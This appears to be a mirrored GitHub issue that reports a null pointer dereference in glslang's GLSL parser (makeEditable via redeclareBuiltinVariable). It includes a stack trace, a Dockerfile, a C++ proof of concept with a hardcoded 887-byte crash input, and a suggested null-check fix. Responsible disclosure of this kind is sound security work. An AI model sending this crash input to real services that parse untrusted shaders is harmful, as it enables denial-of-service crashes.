KhronosGroup / KhronosGroup/glslang

Null Pointer Dereference in glslang GLSL Parser

Open
#4,287 0 comments 0 reactions 0 assignees View on GitHub
Dominant language
C++
Stars
3.6k
Forks
989
Avg merge
1d 2h
Merged PRs (30d)
31

Description

# Null Pointer Dereference in glslang GLSL Parser

## Summary

A null pointer dereference exists in `glslang::TParseContext::makeEditable()` at
`ParseHelper.cpp:740`. It is reachable by parsing a crafted GLSL shader that
contains a `gl_PerVertex` interface-block redeclaration under conditions where the
symbol table returns `nullptr` for the lookup. The caller `redeclareBuiltinVariable()`
passes the null result directly to `makeEditable()` without a null check, causing a
crash on the first dereference.

Any application that parses attacker-controlled GLSL (game engines, WebGL drivers,
shader toolchains) is affected. The crash is reliably reproducible with the
input below.

## Root Cause

`redeclareBuiltinVariable()` assumes that any variable name matching the `gl_`
prefix must exist in the symbol table. Under the conditions in the crash input the
lookup returns `nullptr`, and that null is forwarded directly to `makeEditable()`:

```cpp
// ParseHelper.cpp ~5992
makeEditable(symbol); // symbol is null — no prior null check
```

`makeEditable()` immediately dereferences the pointer:

```cpp
// ParseHelper.cpp:740
symbol = symbolTable.copyUpDeferredInsert(symbol); // crash: symbol == 0x0
```

---

## Stack Trace

```
#0 glslang::TParseContext::makeEditable(glslang::TSymbol*&)
ParseHelper.cpp:740:33
#1 glslang::TParseContext::redeclareBuiltinVariable(...)
ParseHelper.cpp:5992:13
#2 glslang::TParseContext::declareVariable(...)
ParseHelper.cpp:9439:23
#3 yyparse(glslang::TParseContext*)
glslang.y:1206:46
#4 glslang::TParseContext::parseShaderStrings(...)
ParseHelper.cpp:200:5
#5 operator() / ProcessDeferred
ShaderLang.cpp:1233 / 1008
#6 CompileDeferred(...)
ShaderLang.cpp:1321:12
#7 glslang::TShader::parse(...)
ShaderLang.cpp:1894:12
#8 LLVMFuzzerTestOneInput
compile_fuzzer.cc:69:12
```

---

## Reproducer

### Standalone Docker PoC

Dockerfile
```
# Standalone PoC: null-ptr dereference in glslang::TParseContext::makeEditable
# ParseHelper.cpp:740 — triggered via gl_PerVertex redeclaration.
#
# All crash bytes are hardcoded in poc.cpp; no external files needed.
#
# Build: docker build -t glslang-poc .
# Run: docker run --rm glslang-poc
#
# Expected: AddressSanitizer SEGV in makeEditable (ParseHelper.cpp:740)

FROM ubuntu:22.04

ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y --no-install-recommends \
git cmake build-essential clang python3 ca-certificates \
&& rm -rf /var/lib/apt/lists/*

# Clone glslang at the tip of the main branch (bug present as of 2026-05-21).
RUN git clone --depth=1 https://github.com/KhronosGroup/glslang /src/glslang

# Build with AddressSanitizer.
WORKDIR /src/glslang
RUN cmake -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DENABLE_OPT=OFF \
-DCMAKE_C_COMPILER=clang \
-DCMAKE_CXX_COMPILER=clang++ \
-DCMAKE_CXX_FLAGS="-fsanitize=address -fno-omit-frame-pointer" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
&& cmake --build build -j$(nproc)

# Copy the self-contained reproducer (crash bytes are hardcoded inside).
COPY poc.cpp /poc.cpp

# Compile the reproducer against the ASan-instrumented glslang libraries.
RUN clang++ -fsanitize=address -fno-omit-frame-pointer -g \
-I/src/glslang \
-I/src/glslang/build/include \
/poc.cpp \
/src/glslang/build/glslang/libglslang.a \
/src/glslang/build/glslang/libglslang-default-resource-limits.a \
/src/glslang/build/glslang/libMachineIndependent.a \
/src/glslang/build/glslang/OSDependent/Unix/libOSDependent.a \
/src/glslang/build/glslang/libGenericCodeGen.a \
/src/glslang/build/SPIRV/libSPIRV.a \
-lpthread \
-o /poc

CMD ["/poc"]
```

poc.cpp
```
// Standalone PoC: null-ptr dereference in glslang::TParseContext::makeEditable
// ParseHelper.cpp:740 — triggered via gl_PerVertex redeclaration.
//
// No external files required; the exact crash bytes are hardcoded below.
//
// Build (inside a glslang source tree, after building with ASan):
//
// clang++ -fsanitize=address -fno-omit-frame-pointer -g \
// -I. -I./build/include \
// poc.cpp \
// build/glslang/libglslang.a \
// build/glslang/libglslang-default-resource-limits.a \
// build/glslang/libMachineIndependent.a \
// build/glslang/OSDependent/Unix/libOSDependent.a \
// build/glslang/libGenericCodeGen.a \
// build/SPIRV/libSPIRV.a \
// -lpthread -o poc
//
// ./poc
//
// Expected: AddressSanitizer SEGV in makeEditable (ParseHelper.cpp:740)

#include "glslang/Public/ResourceLimits.h"
#include "glslang/Public/ShaderLang.h"
#include
#include

// Exact 887-byte corpus entry that triggered the crash.
// SHA-1: 705096879b0e4d817141f89987af497eebf954b3
//
// Layout (mirrors the compile_fuzzer.cc harness):
// byte[0] = 0xf6 -> stageByte: 246 % 6 = 0 -> EShLangVertex
// byte[1] = 0xff -> optByte: all EShMessages flags set
// byte[2..886] -> raw GLSL shader source (passed to setStringsWithLengths)
//
// The GLSL payload contains a gl_PerVertex interface-block redeclaration
// with a malformed version directive, which drives the parser into
// redeclareBuiltinVariable() with a null symbol, crashing in makeEditable().
static const uint8_t kCrashInput[] = {
0xf6, 0xff, 0x23, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x32,
0x32, 0x63, 0x33, 0x20, 0x66, 0x72, 0x61, 0x67, 0x4e, 0x6f, 0x72, 0x6d,
0x71, 0x71, 0x71, 0x71, 0x71, 0x71, 0x71, 0x71, 0x71, 0x71, 0x71, 0x71,
0x4d, 0x41, 0x58, 0x28, 0x61, 0x2c, 0x65, 0x66, 0x69, 0x6e, 0x65, 0x20,
0x41, 0x47, 0x4c, 0x5f, 0x45, 0x58, 0x54, 0x5f, 0x73, 0x68, 0x61, 0x64,
0x65, 0x72, 0x5f, 0x69, 0x6e, 0x76, 0x6f, 0x63, 0x61, 0x74, 0x69, 0x6f,
0x6e, 0x5f, 0x00, 0x00, 0x72, 0x65, 0x6f, 0x72, 0x64, 0x65, 0x72, 0x42,
0x53, 0x29, 0x6c, 0x6f, 0x29, 0x20, 0x0a, 0x23, 0x64, 0x65, 0x66, 0x69,
0x6e, 0x65, 0x20, 0x41, 0x42, 0x53, 0x28, 0x78, 0x29, 0x20, 0x05, 0x05,
0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x65, 0x72, 0x56, 0x65, 0x72, 0x74,
0x65, 0x78, 0x20, 0x7b, 0x0a, 0x20, 0x20, 0x20, 0x20, 0x76, 0x65, 0x63,
0x34, 0x20, 0x67, 0x6c, 0x5f, 0x50, 0x6f, 0x73, 0x69, 0x74, 0x69, 0x6f,
0x6e, 0x3b, 0x0a, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6c, 0x6f, 0x61, 0x74,
0x20, 0x67, 0x6c, 0x5f, 0x43, 0x6c, 0x69, 0x70, 0x44, 0x69, 0x73, 0x74,
0x61, 0x6e, 0x63, 0x65, 0x5b, 0x34, 0x5d, 0x3b, 0x0a, 0x20, 0x20, 0x20,
0x20, 0x66, 0x6c, 0x6f, 0x61, 0x74, 0x20, 0x67, 0x6c, 0x5f, 0x43, 0x75,
0x6c, 0x6c, 0x44, 0x69, 0x73, 0x74, 0x61, 0x6e, 0x63, 0x65, 0x5b, 0x34,
0x5d, 0x3b, 0x0a, 0x7d, 0x3b, 0x0a, 0x6c, 0x61, 0x79, 0x6f, 0x75, 0x74,
0x28, 0x62, 0x69, 0x6e, 0x64, 0x69, 0x6e, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0x01, 0xe7, 0x6e, 0x69, 0x66, 0x6f, 0x72, 0x6d, 0x20, 0x43, 0x6c,
0x69, 0x70, 0x50, 0x6c, 0x61, 0x6e, 0x65, 0x73, 0x20, 0x7b, 0x0a, 0x20,
0x20, 0x20, 0x20, 0x76, 0x65, 0x63, 0x34, 0x20, 0x70, 0x6c, 0x61, 0x6e,
0x65, 0x73, 0x5b, 0x34, 0x5d, 0x3b, 0x0a, 0x7d, 0x20, 0x63, 0x6c, 0x69,
0x70, 0x50, 0x6c, 0x61, 0x6e, 0x65, 0x73, 0x3b, 0x0a, 0x76, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6f,
0x69, 0x64, 0x20, 0x6d, 0x61, 0x69, 0x6e, 0x28, 0x29, 0x20, 0x7b, 0x0a,
0x20, 0x20, 0x20, 0x20, 0x67, 0x6c, 0x5f, 0x50, 0x6f, 0x73, 0x69, 0x74,
0x69, 0x6f, 0x6e, 0x20, 0x3d, 0x20, 0x69, 0x6e, 0x50, 0x6f, 0x73, 0x3b,
0x0a, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6f, 0x72, 0x20, 0x28, 0x69, 0x6e,
0x74, 0x20, 0x69, 0x20, 0x3d, 0x20, 0x30, 0x3b, 0x20, 0x69, 0x20, 0x3c,
0x20, 0x34, 0x53, 0x3b, 0x20, 0x69, 0x2b, 0x2b, 0x29, 0x20, 0x7b, 0x0a,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x67, 0x6c, 0x5f, 0x43,
0x6c, 0x69, 0x70, 0x44, 0x69, 0x73, 0x74, 0x61, 0x6e, 0x63, 0x65, 0x5b,
0x69, 0x5d, 0x20, 0x3d, 0x20, 0x64, 0x6f, 0x74, 0x28, 0x69, 0x6e, 0x50,
0x6f, 0x73, 0x2c, 0x20, 0x63, 0x6c, 0x69, 0x70, 0x50, 0x6c, 0x61, 0x6e,
0x65, 0x73, 0x2e, 0x70, 0x6c, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d,
0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d,
0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d,
0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d,
0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x05, 0x05, 0x05, 0x05, 0x05,
0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05,
0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05,
0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x00, 0x00, 0x65,
0x66, 0x5c, 0x6e, 0x65, 0x20, 0x4d, 0x41, 0x58, 0x28, 0x61, 0x2c, 0x65,
0x66, 0x69, 0x6e, 0x65, 0x20, 0x41, 0x47, 0x4c, 0x5f, 0x45, 0x58, 0x54,
0x5f, 0x73, 0x68, 0x61, 0x64, 0x65, 0x72, 0x5f, 0x69, 0x6e, 0x76, 0x6f,
0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x5f, 0x72, 0x65, 0x6f, 0x72, 0x64,
0x65, 0x72, 0x42, 0x53, 0x29, 0x6c, 0x6f, 0x29, 0x20, 0x0a, 0x23, 0x64,
0x65, 0x66, 0x69, 0x6e, 0x65, 0x20, 0x41, 0x42, 0x53, 0x28, 0x78, 0x29,
0x20, 0x4d, 0x41, 0x58, 0x28, 0x78, 0x2c, 0x20, 0x2d, 0x4d, 0x61, 0x78,
0x0a, 0x23, 0x64, 0x65, 0x66, 0x69, 0x6e, 0x65, 0x20, 0x41, 0x05, 0x05,
0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x42, 0x53, 0x29, 0x6c, 0x6f,
0x29, 0x20, 0x0a, 0x23, 0x64, 0x65, 0x66, 0x69, 0x6e, 0x65, 0x20, 0x41,
0x42, 0x53, 0x28, 0x78, 0x29, 0x20, 0x4d, 0x41, 0x58, 0x28, 0x78, 0x2c,
0x20, 0x2d, 0x28, 0x78, 0x29, 0x29, 0x0a, 0x05, 0x05, 0x05, 0x05, 0x05,
0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05,
0x6c, 0xfe, 0xfe, 0xfe, 0x3b, 0x0a, 0x20, 0x20, 0x69, 0x6e, 0x50, 0x05,
0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05,
0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05,
0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x4d, 0x41, 0x58, 0x28, 0x78,
0x2c, 0x20, 0x2d, 0x4d, 0x61, 0x78, 0x0a, 0x23, 0x64, 0x65, 0x66, 0x69,
0x6e, 0x76, 0x6f, 0x69, 0x64, 0x20, 0x6d, 0x61, 0x69, 0x6e, 0x28, 0x29,
0x20, 0x7b, 0x0a, 0x23, 0x69, 0x66, 0x6f, 0x73, 0x2b, 0x20, 0x2a, 0x20,
0x20, 0x55, 0x53, 0x45, 0x4f, 0x4c, 0x75, 0x36, 0x34, 0x49, 0x47, 0x48,
0x54, 0x49, 0x4e, 0x2d, 0x2d, 0x2d, 0x2d, 0x2d, 0x2d, 0x2d, 0x2d, 0x2d,
0x2d, 0x2d, 0x2d, 0x2d, 0x2d, 0x2d, 0x2d, 0x2d, 0x73, 0x3b, 0x0a, 0x2d,
0x2d, 0x2d, 0x55, 0x56, 0x7d, 0x0a, 0x29, 0x3b, 0x0a, 0x7d, 0x0a,
};
static const size_t kCrashInputLen = 887;

int main() {
const uint8_t* data = kCrashInput;
const size_t size = kCrashInputLen;

// Decode control bytes the same way compile_fuzzer.cc does.
const EShLanguage stages[] = {
EShLangVertex, EShLangTessControl, EShLangTessEvaluation,
EShLangGeometry, EShLangFragment, EShLangCompute,
};
EShLanguage stage = stages[data[0] % 6]; // 0xf6 % 6 = 0 -> EShLangVertex

EShMessages messages = EShMsgDefault;
const uint8_t optByte = data[1]; // 0xff -> all flags
if (optByte & 0x01) messages = (EShMessages)(messages | EShMsgRelaxedErrors);
if (optByte & 0x02) messages = (EShMessages)(messages | EShMsgSuppressWarnings);
if (optByte & 0x04) messages = (EShMessages)(messages | EShMsgCascadingErrors);
if (optByte & 0x08) messages = (EShMessages)(messages | EShMsgKeepUncalled);

const char* src = reinterpret_cast(data + 2);
const int len = static_cast(size - 2);

glslang::InitializeProcess();

glslang::TShader shader(stage);
shader.setStringsWithLengths(&src, &len, 1);
glslang::TShader::ForbidIncluder includer;

// Crashes in glslang::TParseContext::makeEditable (ParseHelper.cpp:740)
shader.parse(GetDefaultResources(), 110, ENoProfile, false, false, messages, includer);

glslang::FinalizeProcess();
return 0;
}
```
---

## Suggested Fix

Add a null check in `redeclareBuiltinVariable()` before calling `makeEditable()`,
at `ParseHelper.cpp` around line 5992:

```cpp
// Before (buggy):
makeEditable(symbol);

// After (fixed):
if (symbol == nullptr) {
error(loc, "cannot redeclare undefined built-in", identifier.c_str(), "");
return;
}
makeEditable(symbol);
```

Alternatively, the check could be placed inside `makeEditable()` itself, but
fixing it at the call site is semantically more correct since passing a null
symbol to `makeEditable` is always a logic error.

Credit: Aisle Research (Ze Sheng, Dmitrijs Trizna, Luigino Camastra, Guido Vranken)

Contributor guide

Open the contributing guide

Research direction

Start with ParseHelper.cpp at makeEditable() around line 740 and its caller redeclareBuiltinVariable() around line 5992; use the supplied gl_PerVertex corpus and standalone Docker/ASan PoC to confirm the failure. Done means the reproducer no longer crashes when parsing the input, with valid shader parsing behavior preserved.

Written by the indexing model from the issue text.

Assessment

Tech stack
cpp
Domain
compilers, security
Issue type
Bug
Difficulty
3/5
Estimated time
1-2 days
Activity status
Quiet
Clarity
Clearly specified
Newbie friendliness
72/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.